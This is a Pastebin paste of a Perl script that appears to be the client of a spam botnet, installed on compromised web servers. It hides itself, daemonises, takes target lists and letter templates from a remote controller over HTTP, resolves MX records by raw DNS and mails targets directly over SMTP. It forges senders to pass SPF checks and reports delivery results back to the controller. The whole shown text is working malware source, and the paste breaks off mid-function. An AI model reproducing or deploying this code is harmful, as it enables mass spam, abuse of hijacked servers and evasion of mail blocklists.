Advertisement
Guest User

Untitled

a guest
Aug 18th, 2017
480
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 33.45 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. #
  3. use strict;
  4. use POSIX;
  5. use IO::Socket;
  6. use IO::Select;
  7. $| = 1; my $debug = 0;
  8. &hide(); print "Content-type: text/plain; charset=iso-8859-1\x0D\x0A\x0D\x0AJm73uZ"; exit 0;
  9. sub main
  10. {
  11. my $s_host = shift;
  12. my $s_path = shift;
  13. my $s_mode = shift;
  14. ###
  15. #
  16. ###
  17. if ($debug)
  18. {
  19. $SIG{PIPE} = "IGNORE";
  20. }
  21. else
  22. {
  23. return unless defined (my $child = fork);
  24. return if $child;
  25. POSIX::setsid();
  26. $SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
  27. umask 0;
  28. chdir "/";
  29. open (STDIN, "</dev/null");
  30. open (STDOUT, ">/dev/null");
  31. open (STDERR, ">&STDOUT");
  32. }
  33. srand;
  34. ###
  35. #
  36. ###
  37. my $s =
  38. {
  39. #
  40. version => 6,
  41. #
  42. command => 0,
  43. #
  44. size    => 0,
  45. #
  46. timeout => 60,
  47. #
  48. request => 1,
  49. #
  50. host    => (gethostbyname $s_host)[4],
  51. #
  52. sender  => undef
  53. };
  54. exit 0 unless $s->{host};
  55. ###
  56. #
  57. ###
  58. my $b =
  59. {
  60. #
  61. id          => 0,
  62. #
  63. ip          => "",
  64. #
  65. helo        => undef,
  66. #
  67. timezone    => [["+", "-"]->[int rand 2], (1 + int rand 6)],
  68. #
  69. nameserver  => [],
  70. #
  71. timeout     => 10,
  72. #
  73. #
  74. session     => 0,
  75. #
  76. copies      => 1,
  77. #
  78. #
  79. #
  80. #
  81. method      => 0,
  82. #
  83. #
  84. #
  85. spf         => 0,
  86. #
  87. #
  88. #
  89. #
  90. level       => 0,
  91. #
  92. mailbase    => [],
  93. #
  94. from        => [],
  95. #
  96. replyto     => [],
  97. #
  98. subject     => [],
  99. #
  100. header      => "",
  101. #
  102. letter      => "",
  103. #
  104. #
  105. #
  106. #
  107. priority    => 1,
  108. #
  109. #
  110. #
  111. type        => 0,
  112. #
  113. charset     => "",
  114. #
  115. good        => [0, ""],
  116. #
  117. unlucky     => [0, ""],
  118. #
  119. bad         => [0, ""],
  120. #
  121. report      => ""
  122. };
  123. my $test = &test(1);
  124. unless ($test)
  125. {
  126. exit 0 if !defined $s_mode;
  127. ($test, $s->{sender}) = &test(0);
  128. exit 0 unless $test;
  129. $s->{version} = 0;
  130. $b->{helo} = "localhost";
  131. }
  132. ###
  133. #
  134. ###
  135. my $readers = IO::Select->new() or exit 0;
  136. my $writers = IO::Select->new() or exit 0;
  137. my $session = {};
  138. my $flagset =
  139. {
  140. timeout => 1
  141. };
  142. my $cache = {};
  143. my $reset_time = time;
  144. my $reset_wait = 120;
  145. my $reset_stat = 0;
  146. my $first_exec = 1;
  147. my $request_time = time;
  148. my $request_flag = 1;
  149. my $counter_addr = 0;
  150. #
  151. my $destroy = sub
  152. {
  153. my ($object, $handle) = @_;
  154. #
  155. if ($session->{$handle}{status} =~ /^rs/)
  156. {
  157. $request_flag = 1;
  158. }
  159. elsif (exists $session->{$handle}{object})
  160. {
  161. if ($_ = shift @{$session->{$handle}{object}})
  162. {
  163. $b->{unlucky}[0] ++;
  164. if ($b->{level})
  165. {
  166. $b->{unlucky}[1] .= "$_\x0A";
  167. $b->{report} .= "$_ - [$session->{$handle}{status}] Timeout\x0A" if $b->{level} > 1;
  168. }
  169. #
  170. push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
  171. }
  172. }
  173. if (exists $session->{$handle}{mx})
  174. {
  175. $cache->{$session->{$handle}{mx}}[1] -- if $cache->{$session->{$handle}{mx}}[1] > 0;
  176. }
  177. delete $session->{$handle};
  178. $object->remove($handle);
  179. close $handle;
  180. };
  181. #
  182. while (1)
  183. {
  184. #
  185. IO::Select->select(undef, undef, undef, 0.01);
  186. #
  187. my $time = time;
  188. if ($reset_stat != ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]))
  189. {
  190. $reset_stat = ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
  191. $reset_time = $time + $reset_wait;
  192. }
  193. if ($time >= $reset_time)
  194. {
  195. $reset_time = $time + $reset_wait;
  196. $reset_stat = 0;
  197. $counter_addr = 0;
  198. $b->{$_} = [] for (qw (mailbase from replyto subject));
  199. $b->{$_} = [0, ""] for (qw (good unlucky bad));
  200. $b->{report} = "";
  201. $cache = {};
  202. $session = {};
  203. my $ha = [$writers->handles];
  204. foreach my $hs (@$ha) { $writers->remove($hs); close $hs; }
  205. $ha = [$readers->handles];
  206. foreach my $hs (@$ha) { $readers->remove($hs); close $hs; }
  207. $request_flag = 1;
  208. $request_time = time;
  209. next;
  210. }
  211. #
  212. if ($request_flag && $time >= $request_time)
  213. {
  214. while (1)
  215. {
  216. #
  217. my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
  218. #
  219. last unless $socket;
  220. #
  221. $socket->blocking(0);
  222. #
  223. unless ($socket->connect($_ = sockaddr_in(80, $s->{host})))
  224. {
  225. unless ($! == POSIX::EINPROGRESS)
  226. {
  227. #
  228. #
  229. close $socket;
  230. #
  231. last;
  232. }
  233. }
  234. #
  235. #
  236. unless ($writers->add($socket))
  237. {
  238. #
  239. #
  240. close $socket;
  241. #
  242. last;
  243. }
  244. #
  245. $session->{$socket} =
  246. {
  247. status  => "rs_cn",
  248. buffer  => "",
  249. flagset => $flagset->{timeout},
  250. timeout => 0
  251. };
  252. $s->{$_} = 0 for (qw (command size));
  253. if ($counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]))
  254. {
  255. $s->{command} = 1;
  256. $s->{command} = 2 if $first_exec;
  257. $reset_time = $time + $reset_wait;
  258. $reset_stat = 0;
  259. if ($counter_addr)
  260. {
  261. $s->{size} = 16;
  262. $session->{$socket}{buffer} .= pack ("L", $b->{id});
  263. $session->{$socket}{buffer} .= pack ("L", $b->{$_}[0]) for (qw (good unlucky bad));
  264. if ($b->{level})
  265. {
  266. for (qw (good unlucky bad))
  267. {
  268. $s->{size} += (4 + length $b->{$_}[1]);
  269. $session->{$socket}{buffer} .= pack ("L", length $b->{$_}[1]);
  270. $session->{$socket}{buffer} .= $b->{$_}[1];
  271. }
  272. if ($b->{level} > 1)
  273. {
  274. $s->{size} += (4 + length $b->{report});
  275. $session->{$socket}{buffer} .= pack ("L", length $b->{report});
  276. $session->{$socket}{buffer} .= $b->{report};
  277. }
  278. }
  279. }
  280. }
  281. $session->{$socket}{buffer} = pack ("SC2L2", 0x0F0F, $s->{version}, $s->{command}, $$, $s->{size}) . $session->{$socket}{buffer};
  282. $s->{size} = length $session->{$socket}{buffer};
  283. $session->{$socket}{buffer} = "POST $s_path HTTP/1.0\x0D\x0AHost: $s_host\x0D\x0AContent-type: application/x-www-form-urlencoded\x0D\x0AContent-Length: $s->{size}\x0D\x0A\x0D\x0A$session->{$socket}{buffer}";
  284. #
  285. $request_flag = 0;
  286. #
  287. last;
  288. }
  289. }
  290. #
  291. if (my $mail_array = shift @{$b->{mailbase}})
  292. {
  293. while (scalar @$mail_array)
  294. {
  295. #
  296. my $mail = @{$mail_array}[0];
  297. my ($mx) = &mail(\$mail);
  298. $mx = lc ((split /\@/, $$mx)[1]);
  299. my $type = 15;
  300. if ($s->{version} == 0)
  301. {
  302. $cache->{$mx}[0] = "127.0.0.1" unless exists $cache->{$mx};
  303. }
  304. if (exists $cache->{$mx})
  305. {
  306. my $sv = $mx;
  307. $mx = $cache->{$sv}[0];
  308. if ($mx =~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)
  309. {
  310. $cache->{$sv}[1] = 0 unless $cache->{$sv}[1];
  311. if ($b->{session} && ($cache->{$sv}[1] >= $b->{session}))
  312. {
  313. #
  314. push @{$b->{mailbase}}, $mail_array;
  315. #
  316. last;
  317. }
  318. if ($1 > 255 || $2 > 255 || $3 > 255 || $4 > 255)
  319. {
  320. while ($_ = shift @$mail_array)
  321. {
  322. $b->{bad}[0] ++;
  323. if ($b->{level})
  324. {
  325. $b->{bad}[1] .= "$_\x0A";
  326. $b->{report} .= "$_ - [mx_ip] Object non exists\x0A" if $b->{level} > 1;
  327. }
  328. }
  329. #
  330. last;
  331. }
  332. $mx = pack ("C4", $1, $2, $3, $4);
  333. #
  334. #
  335. my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
  336. #
  337. unless ($socket)
  338. {
  339. #
  340. push @{$b->{mailbase}}, $mail_array;
  341. #
  342. last;
  343. }
  344. #
  345. $socket->blocking(0);
  346. #
  347. unless ($socket->connect($_ = sockaddr_in(25, $mx)))
  348. {
  349. unless ($! == POSIX::EINPROGRESS)
  350. {
  351. #
  352. #
  353. close $socket;
  354. $b->{unlucky}[0] ++;
  355. if ($b->{level})
  356. {
  357. $b->{unlucky}[1] .= "$mail\x0A";
  358. $b->{report} .= "$mail - [mx_cn] Can't connect\x0A" if $b->{level} > 1;
  359. }
  360. #
  361. shift @$mail_array;
  362. #
  363. push @{$b->{mailbase}}, $mail_array if scalar @$mail_array;
  364. #
  365. last;
  366. }
  367. }
  368. #
  369. #
  370. unless ($writers->add($socket))
  371. {
  372. #
  373. #
  374. close $socket;
  375. #
  376. push @{$b->{mailbase}}, $mail_array;
  377. #
  378. last;
  379. }
  380. $cache->{$sv}[1] ++;
  381. my $sender;
  382. if (defined $s->{sender} && length $s->{sender})
  383. {
  384. $sender = $s->{sender};
  385. }
  386. else
  387. {
  388. $sender = @{$b->{from}}[int rand scalar @{$b->{from}}];
  389. $sender =~ s/\@.+$/\@$b->{helo}/ if ($b->{spf} && $b->{helo} ne "localhost");
  390. }
  391. #
  392. $session->{$socket} =
  393. {
  394. status  => "mx_cn",
  395. mx      => $sv,
  396. buffer  => "",
  397. object  => $mail_array,
  398. mindex  => 0,
  399. sender  => $sender,
  400. flagset => $flagset->{timeout},
  401. timeout => 0
  402. };
  403. #
  404. last;
  405. }
  406. else
  407. {
  408. #
  409. $type = 1;
  410. }
  411. }
  412. else
  413. {
  414. #
  415. $type = 15;
  416. }
  417. #
  418. my $socket = IO::Socket::INET->new(Proto => "udp");
  419. #
  420. unless ($socket)
  421. {
  422. #
  423. push @{$b->{mailbase}}, $mail_array;
  424. #
  425. last;
  426. }
  427. #
  428. $socket->blocking(0);
  429. #
  430. unless ($writers->add($socket))
  431. {
  432. #
  433. #
  434. close $socket;
  435. #
  436. push @{$b->{mailbase}}, $mail_array;
  437. #
  438. last;
  439. }
  440. #
  441. $session->{$socket} =
  442. {
  443. status  => "ns_cn",
  444. buffer  => "",
  445. object  => $mail_array,
  446. sender  => $mx,
  447. flagset => $flagset->{timeout},
  448. timeout => 0,
  449. type    => $type,
  450. packet  => 0
  451. };
  452. #
  453. last;
  454. }
  455. }
  456. elsif ($counter_addr && !scalar keys %$session)
  457. {
  458. $counter_addr = ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]) if $counter_addr > ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
  459. $request_time = $time if $counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
  460. }
  461. #
  462. my $writable = [$writers->handles];
  463. foreach my $handle (@$writable)
  464. {
  465. #
  466. if ($session->{$handle}{flagset} & $flagset->{timeout})
  467. {
  468. #
  469. #
  470. if ($session->{$handle}{status} =~ /^rs/)
  471. {
  472. #
  473. $session->{$handle}{timeout} = $time + $s->{timeout};
  474. }
  475. else
  476. {
  477. #
  478. $session->{$handle}{timeout} = $time + $b->{timeout};
  479. }
  480. #
  481. $session->{$handle}{flagset} ^= $flagset->{timeout};
  482. }
  483. elsif ($time >= $session->{$handle}{timeout})
  484. {
  485. #
  486. #
  487. $destroy->($writers, $handle);
  488. }
  489. }
  490. #
  491. $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
  492. foreach my $handle (@$writable)
  493. {
  494. if ($session->{$handle}{status} =~ /cn$/)
  495. {
  496. if ($session->{$handle}{status} eq "ns_cn")
  497. {
  498. $session->{$handle}{status} = "ns_wr";
  499. #
  500. $session->{$handle}{packet} = int rand 65536;
  501. $session->{$handle}{buffer} .= pack ("nSn4", $session->{$handle}{packet}, 1, 1, 0, 0, 0);
  502. $session->{$handle}{buffer} .= pack ("C", length $_) . $_ for (split (/\./, $session->{$handle}{sender}));
  503. $session->{$handle}{buffer} .= pack ("Cn2", 0, $session->{$handle}{type}, 1);
  504. $session->{$handle}{sender} = length $session->{$handle}{buffer};
  505. #
  506. next;
  507. }
  508. #
  509. if ($handle->connected)
  510. {
  511. #
  512. #
  513. #
  514. #
  515. if ($session->{$handle}{status} eq "rs_cn")
  516. {
  517. $session->{$handle}{status} = "rs_wr";
  518. }
  519. else
  520. {
  521. $session->{$handle}{status} = "mx_rd";
  522. #
  523. unless ($readers->add($handle))
  524. {
  525. #
  526. #
  527. $destroy->($writers, $handle);
  528. #
  529. next;
  530. }
  531. #
  532. $writers->remove($handle);
  533. }
  534. }
  535. else
  536. {
  537. #
  538. #
  539. $destroy->($writers, $handle);
  540. }
  541. }
  542. else
  543. {
  544. #
  545. my $result;
  546. if ($session->{$handle}{status} eq "ns_wr")
  547. {
  548. my $nameserver = shift @{$b->{nameserver}};
  549. push @{$b->{nameserver}}, $nameserver;
  550. $result = $handle->send($session->{$handle}{buffer}, 0, $_ = sockaddr_in(53, $nameserver));
  551. }
  552. else
  553. {
  554. $result = syswrite ($handle, $session->{$handle}{buffer});
  555. }
  556. if (defined $result && $result > 0)
  557. {
  558. #
  559. #
  560. #
  561. #
  562. #
  563. substr ($session->{$handle}{buffer}, 0, $result) = "";
  564. #
  565. if (length $session->{$handle}{buffer} < 1)
  566. {
  567. #
  568. #
  569. if ($session->{$handle}{status} eq "rs_wr")
  570. {
  571. $session->{$handle}{status} = "rs_rd";
  572. #
  573. if ($s->{command} && $counter_addr && ($counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0])))
  574. {
  575. $counter_addr = 0;
  576. $b->{$_} = [] for (qw (mailbase from replyto subject));
  577. $b->{$_} = [0, ""] for (qw (good unlucky bad));
  578. $b->{report} = "";
  579. $cache = {};
  580. }
  581. #
  582. $request_time = $time + $s->{request} * 60;
  583. }
  584. elsif ($session->{$handle}{status} eq "ns_wr")
  585. {
  586. $session->{$handle}{status} = "ns_rd";
  587. }
  588. #
  589. unless ($readers->add($handle))
  590. {
  591. #
  592. #
  593. $destroy->($writers, $handle);
  594. #
  595. next;
  596. }
  597. #
  598. $writers->remove($handle);
  599. }
  600. }
  601. elsif ($! == EWOULDBLOCK)
  602. {
  603. #
  604. #
  605. next;
  606. }
  607. elsif ($! == EPIPE)
  608. {
  609. #
  610. #
  611. $destroy->($writers, $handle);
  612. }
  613. else
  614. {
  615. #
  616. #
  617. $destroy->($writers, $handle);
  618. }
  619. }
  620. }
  621. #
  622. my $readable = [$readers->handles];
  623. foreach my $handle (@$readable)
  624. {
  625. #
  626. if ($session->{$handle}{flagset} & $flagset->{timeout})
  627. {
  628. #
  629. #
  630. if ($session->{$handle}{status} =~ /^rs/)
  631. {
  632. #
  633. $session->{$handle}{timeout} = $time + $s->{timeout};
  634. }
  635. else
  636. {
  637. #
  638. $session->{$handle}{timeout} = $time + $b->{timeout};
  639. }
  640. #
  641. $session->{$handle}{flagset} ^= $flagset->{timeout};
  642. }
  643. elsif ($time >= $session->{$handle}{timeout})
  644. {
  645. #
  646. #
  647. $destroy->($readers, $handle);
  648. }
  649. }
  650. #
  651. $readable = (IO::Select->select($readers, undef, undef, 0))[0];
  652. foreach my $handle (@$readable)
  653. {
  654. #
  655. my $result;
  656. if ($session->{$handle}{status} eq "ns_rd")
  657. {
  658. $result = $handle->recv($session->{$handle}{buffer}, 512);
  659. $result = length $session->{$handle}{buffer} if defined $result;
  660. }
  661. else
  662. {
  663. $result = sysread ($handle, $session->{$handle}{buffer}, 16384, length $session->{$handle}{buffer});
  664. }
  665. if (defined $result)
  666. {
  667. #
  668. if ($result > 0)
  669. {
  670. #
  671. #
  672. #
  673. #
  674. if ($session->{$handle}{status} eq "rs_rd")
  675. {
  676. #
  677. next if 4 > length $session->{$handle}{buffer};
  678. if ($session->{$handle}{buffer} !~ /^HTTP/)
  679. {
  680. #
  681. #
  682. $destroy->($readers, $handle);
  683. #
  684. next;
  685. }
  686. else
  687. {
  688. #
  689. my $offset = index ($session->{$handle}{buffer}, "\x0D\x0A\x0D\x0A");
  690. #
  691. next unless $offset >= 0;
  692. #
  693. if ($session->{$handle}{buffer} =~ /^HTTP\S+\s+([^\x0D\x0A]*)/)
  694. {
  695. if ($1 !~ /^200/)
  696. {
  697. #
  698. #
  699. $destroy->($readers, $handle);
  700. #
  701. next;
  702. }
  703. $offset += 4;
  704. #
  705. #
  706. next if 10 > (length $session->{$handle}{buffer}) - $offset;
  707. #
  708. my $server =
  709. {
  710. sign        => 0,
  711. timeout     => 0,
  712. request     => 0,
  713. command     => 0,
  714. size        => 0
  715. };
  716. @_ = unpack ("S2C2L", substr ($session->{$handle}{buffer}, $offset, 10));
  717. $server->{$_} = shift @_ for (qw (sign timeout request command size));
  718. if ($server->{sign} != 0xAFAF)
  719. {
  720. #
  721. #
  722. $destroy->($readers, $handle);
  723. #
  724. next;
  725. }
  726. #
  727. $first_exec = 0;
  728. exit 0 if $server->{command};
  729. #
  730. $s->{timeout} = $server->{timeout};
  731. $s->{request} = $server->{request};
  732. #
  733. $request_time = $time + $s->{request} * 60;
  734. #
  735. unless ($server->{size})
  736. {
  737. #
  738. #
  739. $destroy->($readers, $handle);
  740. #
  741. next;
  742. }
  743. #
  744. $offset += 10;
  745. #
  746. next if $server->{size} > (length $session->{$handle}{buffer}) - $offset;
  747. #
  748. substr ($session->{$handle}{buffer}, 0, $offset) = "";
  749. @_ = unpack ("La4", substr ($session->{$handle}{buffer}, 0, 8, ""));
  750. $b->{$_} = shift @_ for (qw (id ip));
  751. $b->{nameserver} = [];
  752. push @{$b->{nameserver}}, substr ($session->{$handle}{buffer}, 0, 4, "") for (1..16);
  753. @_ = unpack ("S2C4", substr ($session->{$handle}{buffer}, 0, 8, ""));
  754. $b->{$_} = shift @_ for (qw (timeout session copies method spf level));
  755. @{$b->{$_}} = split ("\x0A", substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "")) for (qw (mailbase from replyto subject));
  756. $counter_addr = scalar @{$b->{mailbase}};
  757. my $mailbase_temp = {};
  758. while (my $mail_temp = shift @{$b->{mailbase}})
  759. {
  760. my ($host_temp) = &mail(\$mail_temp);
  761. $host_temp = lc ((split /\@/, $$host_temp)[1]);
  762. $mailbase_temp->{$host_temp} = [] unless exists $mailbase_temp->{$host_temp};
  763. push @{$mailbase_temp->{$host_temp}}, $mail_temp;
  764. }
  765. foreach my $host_temp (keys %$mailbase_temp)
  766. {
  767. while (scalar @{$mailbase_temp->{$host_temp}})
  768. {
  769. my $mail_temp = [];
  770. for (1..$b->{copies})
  771. {
  772. last unless scalar @{$mailbase_temp->{$host_temp}};
  773. push @$mail_temp, shift @{$mailbase_temp->{$host_temp}};
  774. }
  775. push @{$b->{mailbase}}, $mail_temp;
  776. }
  777. }
  778. undef $mailbase_temp;
  779. #
  780. #
  781. $b->{header} = substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "");
  782. unless ($b->{header})
  783. {
  784. $b->{header} = ['Date: %DATE%', 'From: %FROMADDR%', 'Reply-To: %REPLYTOADDR%', 'X-Priority: %NPRIORITY%', 'Message-ID: <%MESSAGEID%@%HELO%>', 'To: %TOADDR%', 'Subject: %SUBJECT%'];
  785. $b->{header} = join ("\x0D\x0A", @{$b->{header}}, 'MIME-Version: 1.0', 'Content-Type: text/%TYPE%; charset=%CHARSET%', 'Content-Transfer-Encoding: %ENCODING%');
  786. }
  787. $b->{letter} = substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "");
  788. $b->{letter} = "" unless $b->{letter};
  789. $b->{$_} = unpack ("C", substr ($session->{$handle}{buffer}, 0, 1, "")) for (qw (priority type));
  790. $b->{charset} = substr ($session->{$handle}{buffer}, 0, length $session->{$handle}{buffer}, "");
  791. $b->{ip} = join (".", unpack ("C4", $b->{ip}));
  792. unless ($b->{helo})
  793. {
  794. $b->{helo} = &nstest($_ = sockaddr_in(53, $b->{nameserver}[0]), 3, $b->{ip}, "PTR");
  795. $b->{helo} = &nstest($_ = sockaddr_in(53, $b->{nameserver}[1]), 3, $b->{ip}, "PTR") unless $b->{helo};
  796. $b->{helo} = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "208.67.222.222"))), 3, $b->{ip}, "PTR") unless $b->{helo};
  797. $b->{helo} = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "208.67.220.220"))), 3, $b->{ip}, "PTR") unless $b->{helo};
  798. $b->{helo} = "localhost" unless $b->{helo};
  799. }
  800. $b->{report} = "\x0ACLIENT V.$s->{version} IP=$b->{ip} PTR=$b->{helo} ID=$b->{id}\x0A\x0A" if $b->{level} > 1;
  801. #
  802. #
  803. $destroy->($readers, $handle);
  804. #
  805. next;
  806. }
  807. else
  808. {
  809. #
  810. #
  811. $destroy->($readers, $handle);
  812. #
  813. next;
  814. }
  815. }
  816. }
  817. elsif ($session->{$handle}{status} eq "ns_rd")
  818. {
  819. if (length $session->{$handle}{buffer})
  820. {
  821. my ($resp, $code) = &nsparser($session->{$handle}{packet}, $session->{$handle}{buffer}, $session->{$handle}{sender}, $session->{$handle}{type});
  822. if (!defined $resp)
  823. {
  824. while ($_ = shift @{$session->{$handle}{object}})
  825. {
  826. $b->{bad}[0] ++;
  827. if ($b->{level})
  828. {
  829. $b->{bad}[1] .= "$_\x0A";
  830. $b->{report} .= "$_ - [ns_rd] $code\x0A" if $b->{level} > 1;
  831. }
  832. }
  833. }
  834. elsif ($resp =~ /^0$/)
  835. {
  836. $resp = shift @{$session->{$handle}{object}};
  837. $b->{unlucky}[0] ++;
  838. if ($b->{level})
  839. {
  840. $b->{unlucky}[1] .= "$resp\x0A";
  841. $b->{report} .= "$resp - [ns_rd] $code\x0A" if $b->{level} > 1;
  842. }
  843. push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
  844. }
  845. else
  846. {
  847. $code = @{$session->{$handle}{object}}[0];
  848. ($code) = &mail(\$code);
  849. $code = lc ((split /\@/, $$code)[1]);
  850. $cache->{$code}[0] = $resp;
  851. push @{$b->{mailbase}}, $session->{$handle}{object};
  852. }
  853. delete $session->{$handle}{object};
  854. #
  855. $destroy->($readers, $handle);
  856. #
  857. next;
  858. }
  859. }
  860. elsif ($session->{$handle}{buffer} =~ /^[^\-]{4}.*\x0D\x0A$/m)
  861. {
  862. #
  863. print "< $session->{$handle}{buffer}" if $debug;
  864. if ($session->{$handle}{buffer} !~ /^(2|3)/)
  865. {
  866. if ($b->{level} > 1)
  867. {
  868. $session->{$handle}{buffer} =~ s/\x0D//g;
  869. $session->{$handle}{buffer} =~ s/[\x09|\x0A]+/\x20/g;
  870. }
  871. $session->{$handle}{mindex} -- if $session->{$handle}{mindex} > 0;
  872. if ($session->{$handle}{status} =~ /^mx_(rd|gr)$/)
  873. {
  874. while ($_ = shift @{$session->{$handle}{object}})
  875. {
  876. $b->{unlucky}[0] ++;
  877. if ($b->{level})
  878. {
  879. $b->{unlucky}[1] .= "$_\x0A";
  880. $b->{report} .= "$_ - [$session->{$handle}{status}] Bad host $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
  881. }
  882. }
  883. #
  884. delete $session->{$handle}{object};
  885. $destroy->($readers, $handle);
  886. #
  887. next;
  888. }
  889. elsif ($session->{$handle}{status} =~ /^mx_(mf|rt)$/)
  890. {
  891. if ($session->{$handle}{buffer} =~ /\d+\.\d+\.\d+\.\d+/g || $session->{$handle}{buffer} =~ /( ip |block|black|reject|later|many)/ig)
  892. {
  893. #
  894. while ($_ = shift @{$session->{$handle}{object}})
  895. {
  896. $b->{unlucky}[0] ++;
  897. if ($b->{level})
  898. {
  899. $b->{unlucky}[1] .= "$_\x0A";
  900. $b->{report} .= "$_ - [$session->{$handle}{status}] Bad host $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
  901. }
  902. }
  903. #
  904. delete $session->{$handle}{object};
  905. $destroy->($readers, $handle);
  906. #
  907. next;
  908. }
  909. else
  910. {
  911. #
  912. $b->{bad}[0] ++;
  913. if ($b->{level})
  914. {
  915. $b->{bad}[1] .= "$session->{$handle}{object}[$session->{$handle}{mindex}]\x0A";
  916. $b->{report} .= "$session->{$handle}{object}[$session->{$handle}{mindex}] - [$session->{$handle}{status}] Invalid recipient $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
  917. }
  918. splice @{$session->{$handle}{object}}, $session->{$handle}{mindex}, 1;
  919. unless (scalar @{$session->{$handle}{object}})
  920. {
  921. #
  922. delete $session->{$handle}{object};
  923. $destroy->($readers, $handle);
  924. #
  925. next;
  926. }
  927. }
  928. }
  929. else
  930. {
  931. $b->{unlucky}[0] ++;
  932. if ($b->{level})
  933. {
  934. $b->{unlucky}[1] .= "$session->{$handle}{object}[$session->{$handle}{mindex}]\x0A";
  935. $b->{report} .= "$session->{$handle}{object}[$session->{$handle}{mindex}] - [$session->{$handle}{status}] Delivery error $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
  936. }
  937. splice @{$session->{$handle}{object}}, $session->{$handle}{mindex}, 1;
  938. push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
  939. #
  940. delete $session->{$handle}{object};
  941. $destroy->($readers, $handle);
  942. #
  943. next;
  944. }
  945. }
  946. if ($session->{$handle}{status} eq "mx_rd")
  947. {
  948. my $helo = $b->{helo};
  949. #
  950. #
  951. #
  952. #
  953. #
  954. $session->{$handle}{buffer} = "HELO $helo\x0D\x0A";
  955. $session->{$handle}{status} = "mx_gr";
  956. }
  957. elsif ($session->{$handle}{status} eq "mx_gr")
  958. {
  959. my ($mail) = &mail(\$session->{$handle}{sender});
  960. $session->{$handle}{buffer} = "MAIL FROM: <$$mail>\x0D\x0A";
  961. $session->{$handle}{status} = "mx_mf";
  962. }
  963. elsif ($session->{$handle}{status} eq "mx_mf")
  964. {
  965. my ($mail) = &mail(\$session->{$handle}{object}[$session->{$handle}{mindex}]);
  966. $session->{$handle}{buffer} = "RCPT TO: <$$mail>\x0D\x0A";
  967. $session->{$handle}{mindex} ++;
  968. $session->{$handle}{status} = $session->{$handle}{mindex} >= scalar @{$session->{$handle}{object}} ? "mx_rt" : "mx_mf";
  969. }
  970. elsif ($session->{$handle}{status} eq "mx_rt")
  971. {
  972. $session->{$handle}{buffer} = "DATA\x0D\x0A";
  973. $session->{$handle}{status} = "mx_dt";
  974. }
  975. elsif ($session->{$handle}{status} eq "mx_dt")
  976. {
  977. $session->{$handle}{buffer} = &data($session->{$handle}{object}, $session->{$handle}{sender}, $b);
  978. $session->{$handle}{buffer} .= "\x0D\x0A.\x0D\x0A";
  979. $session->{$handle}{status} = "mx_dr";
  980. }
  981. elsif ($session->{$handle}{status} eq "mx_dr")
  982. {
  983. $b->{good}[0] += scalar @{$session->{$handle}{object}};
  984. if ($b->{level})
  985. {
  986. while ($_ = shift @{$session->{$handle}{object}})
  987. {
  988. $b->{good}[1] .= "$_\x0A";
  989. }
  990. }
  991. delete $session->{$handle}{object};
  992. $session->{$handle}{buffer} = "QUIT\x0D\x0A";
  993. $session->{$handle}{status} = "mx_qt";
  994. }
  995. else
  996. {
  997. $destroy->($readers, $handle);
  998. #
  999. next;
  1000. }
  1001. print "> $session->{$handle}{buffer}" if $debug;
  1002. #
  1003. unless ($writers->add($handle))
  1004. {
  1005. #
  1006. #
  1007. $destroy->($readers, $handle);
  1008. #
  1009. next;
  1010. }
  1011. #
  1012. $readers->remove($handle);
  1013. }
  1014. }
  1015. else
  1016. {
  1017. #
  1018. #
  1019. $destroy->($readers, $handle);
  1020. #
  1021. next;
  1022. }
  1023. }
  1024. elsif ($! == EWOULDBLOCK)
  1025. {
  1026. #
  1027. #
  1028. next;
  1029. }
  1030. else
  1031. {
  1032. #
  1033. #
  1034. $destroy->($readers, $handle);
  1035. #
  1036. next;
  1037. }
  1038. }
  1039. }
  1040. }
  1041. #
  1042. sub nstest
  1043. {
  1044. my ($packaddr, $timeout, $query, $querytype, $recursion) = @_;
  1045. return if !defined $query || $query !~ /\w+\.\w+$/;
  1046. my $type = {PTR => 12, MX => 15};
  1047. $type = $type->{$querytype};
  1048. if ($query =~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)
  1049. {
  1050. return if ($1 > 255 || $2 > 255 || $3 > 255 || $4 > 255);
  1051. return $query if $type == 1;
  1052. $query = "$4.$3.$2.$1.in-addr.arpa";
  1053. }
  1054. my $packid = int rand 65536;
  1055. my $packet = pack ("nSn4", $packid, 1, 1, 0, 0, 0);
  1056. for (split (/\./, lc $query))
  1057. {
  1058. $packet .= pack ("C", length $_) . $_;
  1059. }
  1060. $packet .= pack ("Cn2", 0, $type, 1);
  1061. my $offset = length $packet;
  1062. my $socket = IO::Socket::INET->new(Proto=>"udp");
  1063. return unless $socket;
  1064. unless ($socket->send ($packet, 0, $packaddr))
  1065. {
  1066. close $socket;
  1067. return;
  1068. }
  1069. my $buffer;
  1070. my $select = new IO::Select $socket;
  1071. if ($select->can_read($timeout))
